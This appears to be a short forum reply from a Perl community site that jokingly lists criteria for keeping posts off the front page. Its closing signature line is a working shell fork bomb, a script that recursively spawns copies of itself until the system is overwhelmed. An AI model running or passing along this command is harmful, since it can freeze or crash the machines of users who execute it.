Great node! Muskrat++
(How the hell did I get this started? :-D )
I was hoping for a fairly similar group opinion on this, but it seems that does not exist. Different people have different ideas of what is correct for the front page. In light of that, I would ask a different question:
* If most everything that is approved should be on the front page, then what is the standard for approving a node?
Is it easier to say what should not
* Long post, no readmore
* Very bad spelling
* No code
* Not perl
* Looks like homework
* Might cause holy-war
* May induce hair-loss
.. maybe not that last one.... :-)
$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;
